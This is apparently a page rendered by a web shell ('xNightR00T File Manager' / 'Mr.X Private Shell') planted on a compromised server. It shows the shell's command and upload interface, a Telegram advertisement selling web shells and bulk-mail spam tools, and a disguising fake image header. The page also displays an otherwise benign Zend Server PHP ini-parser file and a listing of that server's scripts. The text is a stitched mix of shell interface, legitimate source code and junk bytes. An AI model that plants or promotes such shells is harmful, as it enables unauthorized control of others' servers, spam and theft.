xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

class zs_ini_parser {

	public function parse_ini($path) {
		$is_php_ini = self::is_php_ini($path);

		$line_collection = new line_collection($is_php_ini);

		$file_data = file($path);
		foreach ($file_data as $line_str) {
			$str_to_line_obj = new str_to_line_obj($line_str);
			$line_collection->add_line_obj($str_to_line_obj->get_line_obj());
		}

		return $line_collection;
	}

	static public function is_php_ini($path) {
		return basename($path) === 'php.ini';
	}
}

class line_collection {

	private $lines = array();
	private $directives = array();
	private $all_extensions = array();
	private $php_extensions = array();
	private $zend_extensions = array();
	private $zem_extensions = array();
	private $is_php_ini;

	public function __construct($is_php_ini) {
		$this->is_php_ini = $is_php_ini;
	}

	public function is_php_ini() {
		return $this->is_php_ini;
	}

	public function add_line_obj(line_str $line_obj) {
		$this->lines[] = $line_obj;
		if (! $line_obj instanceof line_directive) {
			return;
		}

		$name = $line_obj->get_name();
		if (! $line_obj instanceof line_php_extension) {
			if (isset($this->directives[$name])) {
				$first_value = $this->directives[$name]->get_value();
				message("Error: found 2 occurrences of directive [$name] - will ignore the value of the first ({$first_value})"); // non fatal - will continue..
			}

			return $this->directives[$name] = $line_obj;
		}

		// extensions from here
		if (isset($this->all_extensions[$name])) {
			throw new exception("found 2 extensions of name [$name] in the same file !");
		}

		$this->all_extensions[$name] = $line_obj;
		if ($line_obj instanceof line_zem_extension) {
			$this->zem_extensions[$name] = $line_obj;
		} elseif ($line_obj instanceof line_zend_extension) {
			$this->zend_extensions[$name] = $line_obj;
		} else {
			$this->php_extensions[$name] = $line_obj;
		}
	}

	public function get_lines() {
		return $this->lines;
	}

	public function get_lines_output() {
		$output = array();
		foreach ($this->lines as $line_obj) { /* @var $line_obj line_str */
			$output[] = $line_obj->get_line_str();
		}

		return $output;
	}

	public function get_directives() {
		return $this->directives;
	}

	public function get_directive_line_value($key) {
		if (! isset($this->directives[$key])) {
			return false;
		}

		return $this->get_directive_obj_by_key($key)->get_line_str();
	}

	public function set_directive_line_by_key($key, $value) {
		if (isset($this->directives[$key])) {
			return $this->get_directive_obj_by_key($key)->set_value($value);
		}

		message("did not find directive [$key], will add it instead");
		$directive_obj = new line_directive('', $key, $value);
		$this->add_line_obj($directive_obj);
	}

	/**
	 *
	 * @return line_directive
	 */
	private function get_directive_obj_by_key($key) {
		return $this->directives[$key];
	}

	public function get_extensions_zs() {
		return sizeof($this->all_extensions);
	}

	public function get_all_extensions() {
		return $this->all_extensions;
	}

	public function is_extension_exist($name) {
		return isset($this->all_extensions[$name]);
	}

	public function get_extension_value($name) {
		if (isset($this->all_extensions[$name])) {
			return $this->all_extensions[$name]->get_value();
		}

		return message("Error: did not find extension [$name]");
	}

	public function get_php_extensions() {
		return $this->php_extensions;
	}

	public function get_zend_extensions() {
		return $this->zend_extensions;
	}

	public function get_zem_extensions() {
		return $this->zem_extensions;
	}
}


class str_to_line_obj {

	private $line_str;

	public function __construct($line_str) {
		$this->line_str = trim($line_str);
	}

	public function get_line_obj() {
		if (! $this->is_data_line()) {
			return new line_str($this->line_str);
		}

		list($key, $value) = $this->get_key_and_value();

		if ($this->is_zem_extension_line()) {
			return new line_zem_extension($this->line_str, $key, $value);
		}

		if ($this->is_zend_extension_line()) {
			return new line_zend_extension($this->line_str, $key, $value);
		}

		if ($this->is_php_extension_line()) {
			return new line_php_extension($this->line_str, $key, $value);
		}

		return new line_directive($this->line_str, $key, $value);
	}

	private function is_data_line() {
		$firstChar = substr($this->line_str, 0, 1);
		if ($firstChar == ';') {
			return false;
		}

		if ($firstChar == '[') {
			return false;
		}

		if ($this->line_str === '') {
			return false;
		}

		if (strpos($this->line_str, '=') === false) {
			return false;
		}

		return true;
	}

	private function get_key_and_value() {
		$parts = preg_split('@=@', $this->line_str, 2); // making sure that in the very rare cases where we have a value which consists of the = sign, we split the key before the first sign
		if (sizeof($parts) !== 2) {
			throw new Exception("failed determining line type of [{$this->line_str}]");
		}

		return array(trim($parts[0]), trim($parts[1]));
	}

	private function is_php_extension_line() {
		return preg_match('@^extension[\s]*=@', $this->line_str);
	}

	private function is_zend_extension_line() {
		return preg_match('@^zend_extension[\s]*=@', $this->line_str);
	}

	private function is_zem_extension_line() {
		return preg_match('@^zend_extension_manager\.(extension|dir)\.[\w]+=@', $this->line_str); // new and old format
	}
}


class line_str {

	protected $line_str;

	public function __construct($str) {
		$this->line_str = $str;
	}

	public function get_line_str() {
		return $this->line_str;
	}
}

class line_directive extends line_str {

	const COMMENT_PREFIX = ' ; ZS UPGRADE: ';

	protected $key;
	protected $value;

	public function __construct($str, $key, $value) {
		$this->key = $key;
		$this->value = $value;
		$this->set_line_str();
	}

	public function get_name() {
		return $this->key;
	}

	public function get_value() {
		return $this->value;
	}

	public function set_value($value) {
		$this->value = $value;
		$this->set_line_str();
	}

	public function comment_line($msg='') {
		$this->line_str = "; {$this->line_str}";
		if ($msg) {
			$this->line_str .= self::COMMENT_PREFIX . $msg;
		}
	}

	private function set_line_str() {
		$this->line_str = "{$this->key}={$this->value}";
	}
}

class line_php_extension extends line_directive {

	public function get_name() {
		return $this->extract_extension_name($this->value);
	}

	protected function extract_extension_name ($value) {
		return explode('.', $this->basename($value))[0];
	}

	protected function basename($path) {
		global $verbosity;
		if (! $verbosity) {
			return basename($path);
		}

		// debug mode - allowing parsing windows paths on a linux machine
		$path = str_replace(array('"', "'"), '', $path);
		$path = rtrim($path, '\/');

		$matches = array();
		if ( !(preg_match_all('/\\\/', $path, $matches, PREG_OFFSET_CAPTURE) > 0 )) {
			preg_match_all('/\//', $path, $matches, PREG_OFFSET_CAPTURE);
		}

		if (!$matches[0]) {
			return $path;
		}

		$last_match = end($matches[0]);
		$idx = $last_match[1]; // we captured mathces+offsets
		$path = substr($path, $idx+1);

		return $path;
	}
}

class line_zend_extension extends line_php_extension { // zend_extension-...

	public function get_name() {
		return $this->extract_extension_name($this->basename($this->value)); // zend_extension=/usr/local/zend/lib/ZendExtensionManager.so -> ZendExtensionManager, also zend_extension=xdebug.dll -> xdebug
	}
}

class line_zem_extension extends line_php_extension {

	public function get_name() {
		preg_match('@zend_extension_manager.(extension|dir).([\w]+)@', $this->key, $matches); // new format: zend_extension_manager.extension.monitor=ZendMonitor.so, old format: zend_extension_manager.dir.monitor=/usr/local/zend/lib/monitor
		if (! isset($matches[2])) {
			throw new Exception("failed finding zem_extension name from key [$this->key]");
		}

		return $matches[2];
	}
}

class collection_comparator {

	private $old_line_collection;
	private $new_line_collection;
	private $output = array();

	private $directives_to_override = array( // directives keys where we will override old value with new
		'extension_dir', // especially on upgrade to 2019.0.0 where the value of this directive changes on windows
		'zend.php_sapi_version_header', // each ZS has it's own updated value
	);

	private $pattern_directives_to_override = array( // regex patterns of directives keys where we will override old value with new
			'@\.global_directives_ini_file$@', // especially on linux upgrade to 2019.0.0 where directives such as zend_jobqueue.global_directives_ini_file change value from ..etc/conf.d/ZendGlobalDirectives.ini to ..etc/ZendGlobalDirectives.ini
	);

	public function __construct(line_collection $old_line_collection, line_collection $new_line_collection) {
		$this->old_line_collection = $old_line_collection;
		$this->new_line_collection = $new_line_collection;
	}

	public function validate_merge_integrity() {
		if ($this->old_line_collection->is_php_ini() !== $this->new_line_collection->is_php_ini()) {
			throw new Exception("mismtach of ini types !"); // no way this could happen, but let's get this out of the way
		}

		return $this->validate_extensions_type();
	}

	/**
	 *
	 * @param boolean $quick_merge - if set to false, will not merge extensions, and will not handle extra data from old ini
	 * @return array
	 */
	public function merge_collections($quick_merge=false) {
		// go over new file
		foreach ($this->new_line_collection->get_lines() as $line_obj) { /* @var $line_obj line_directive */
			if (! $line_obj instanceof line_directive) { // comments and such - leaving as is
				$this->output[] = $line_obj->get_line_str();
				continue;
			}

			$name = $line_obj->get_name();
			if (! $line_obj instanceof line_php_extension) { // directives
				if (($directive_line_value = $this->get_old_directive_value($name)) === false) {
					$directive_line_value = $line_obj->get_line_str();
				}

				$this->output[] = $directive_line_value;
				continue;
			}

			if ($quick_merge) {
				continue;
			}

			// extensions
			if (! ($this->old_line_collection->is_extension_exist($name) || $this->should_add_new_extension($name))) { // extension does not appear in old config
				$msg = "extension [{$name}] does not exist in the old ini file";
				message("{$msg}, so will comment it");
				$line_obj->comment_line($msg);
				$this->output[] = $line_obj->get_line_str();
				continue;
			}

			if (! ($this->should_add_new_extension($name) || ($old_value = $this->old_line_collection->get_extension_value($name)))) { // extension was disabled, but key was left with empty value
				message("extension [{$name}] had empty value in old ini, will keep it empty in new ini");
				$line_obj->set_value('');
			}

			$this->output[] = $line_obj->get_line_str(); // will take value from new, especially in upgrade where zend_extension format has changed from old to new
			continue;
		}

		if ($quick_merge) {
			return $this->output;
		}

		$this->handle_extra_old_directives(); // selectively go over old file - directives
		$this->handle_extra_old_extensions(); // selectively go over old file - extensions

		return $this->output;
	}

	private function should_add_new_extension($ext_name) {
		if ($ext_name === 'statistics') { // on 2018 we removed statistics_ext.ini.
			message("as statistics ini file was renamed, will enable statistics extension although was not found in old ini");
			return true;
		}

		return false;
	}

	private function get_old_directive_value($name) {
		if ($this->old_line_collection->get_directive_line_value($name) === false) {
			return false;
		}

		if (in_array($name, $this->directives_to_override)) {
			message("directive [$name] will be overrided by new ini");
			return false;
		}

		foreach ($this->pattern_directives_to_override as $pattern) {
			if (preg_match($pattern, $name)) {
				message("directive [{$name}] will be overrided by new ini, as of pattern [{$pattern}]");
				return false;
			}
		}

		return $this->old_line_collection->get_directive_line_value($name);
	}


	private function validate_extensions_type() { // we make sure that we don't have an extension that has different ext type between old and new
		$all_old_exts = $this->old_line_collection->get_all_extensions();
		$all_new_exts = $this->new_line_collection->get_all_extensions();

		foreach ($all_old_exts as $name => $ext_obj) {
			if (! isset($all_new_exts[$name])) {
				message("ext [$name] missing from new ini"); // todo - remove this message once stable
				continue;
			}

			if (($old_type = get_class($ext_obj)) !== ($new_type = get_class($all_new_exts[$name]))) {
				throw new Exception("extension [$name] was of type [$old_type] and now is of type [$new_type] !");
			}
		}

		foreach ($all_new_exts as $name => $ext_obj) {
			if (! isset($all_old_exts[$name])) {
				message("ext [$name] missing from old ini"); // todo - remove this message once stable
				continue;
			}

			if (($old_type = get_class($all_old_exts[$name])) !== ($new_type = get_class($ext_obj))) {
				throw new Exception("extension [$name] was of type [$old_type] and now is of type [$new_type] !");
			}
		}
	}

	private function handle_extra_old_directives() {
		$extra_old_directives = array_diff_key($this->old_line_collection->get_directives(), $this->new_line_collection->get_directives());
		if (! $extra_old_directives) {
			return; // message("no extra directives found from old ini");
		}

		$non_zend_directives = $zend_directives = array();
		foreach ($extra_old_directives as $key=>$value) {
			if (preg_match('@^zend_@', $key) || preg_match('@^zf2_@', $key)) { // zf2_ is considered as internal
				$zend_directives[$key] = $value;
			} else {
				$non_zend_directives[$key] = $value;
			}
		}

		if ($zend_directives) {
			$extra_zend_directives_str = implode(',', array_keys($zend_directives));
			message("dropped the following zend directives which were found only in old ini file: " . print_r($extra_zend_directives_str, true));
		}

		if (! $non_zend_directives) {
			return; // message("no extra directives found from old ini");
		}

		$extra_non_zend_directives_str = implode(',', array_keys($non_zend_directives));
		$this->output[] = ltrim(line_directive::COMMENT_PREFIX) . 'following directives were not found in fresh ini file:' . print_r($extra_non_zend_directives_str, true);
		foreach ($non_zend_directives as $directive_obj) { /* @var $directive_obj line_directive */
			$this->output[] = $directive_obj->get_line_str();
		}
	}

	private function handle_extra_old_extensions() {
		$extra_old_extensions = array_diff_key($this->old_line_collection->get_all_extensions(), $this->new_line_collection->get_all_extensions());

		if (! $extra_old_extensions) {
			return; // message("no extra extensions found from old ini");
		}

		$this->output[] = ltrim(line_directive::COMMENT_PREFIX) . 'following extensions were not found in the fresh ini file:' . print_r(implode(',', array_keys($extra_old_extensions)), true);
		foreach ($extra_old_extensions as $extensions_obj) { /* @var $extensions_obj line_php_extension */
			$this->output[] = $extensions_obj->get_line_str(); // todo - could we fall here in the case where old format extension was present (jbridge) while in new it is not, and we will get the new format ?
		}
	}
}

Filemanager

Name Type Size Permission Actions
azure-plugins Folder 0755
minify Folder 0755
plugins Folder 0755
zray-cleanup-scripts Folder 0755
devbar_footer.html File 18.69 KB 0644
devbar_footer_azure.html File 16.58 KB 0644
devbar_footer_sa.html File 16.54 KB 0644
devbar_header.html File 1.37 KB 0644
zend_apc_wrapper.php File 2.01 KB 0644
zend_modify_vhost.php File 26.11 KB 0644
zs_apm_db_handler.php File 3.59 KB 0644
zs_component_upgrader.php File 17.99 KB 0644
zs_create_databases.php File 7.69 KB 0644
zs_db_settings.php File 2.15 KB 0644
zs_deployment_db_handler.php File 20.77 KB 0644
zs_devbar_db_handler.php File 3.22 KB 0644
zs_gui_db_handler.php File 15.35 KB 0644
zs_ini_parser.php File 14.91 KB 0644
zs_jq_db_handler.php File 11.81 KB 0644
zs_maintenance.php File 31.99 KB 0644
zs_merge_ini.php File 9.37 KB 0644
zs_monitor_2019_0_0_db_handler.php File 2.83 KB 0644
zs_monitor_db_handler.php File 5.44 KB 0644
zs_optimize_tables.php File 2.02 KB 0644
zs_pagecache_db_handler.php File 2.61 KB 0644
zs_pagecache_purge_db_handler.php File 1.57 KB 0644
zs_product_definitions.php File 65 B 0644
zs_statistics_db_handler.php File 9.05 KB 0644
zs_statsd_db_handler.php File 2.13 KB 0644
zs_tracing_db_handler.php File 3.53 KB 0644
zs_zsd_db_handler.php File 43.89 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1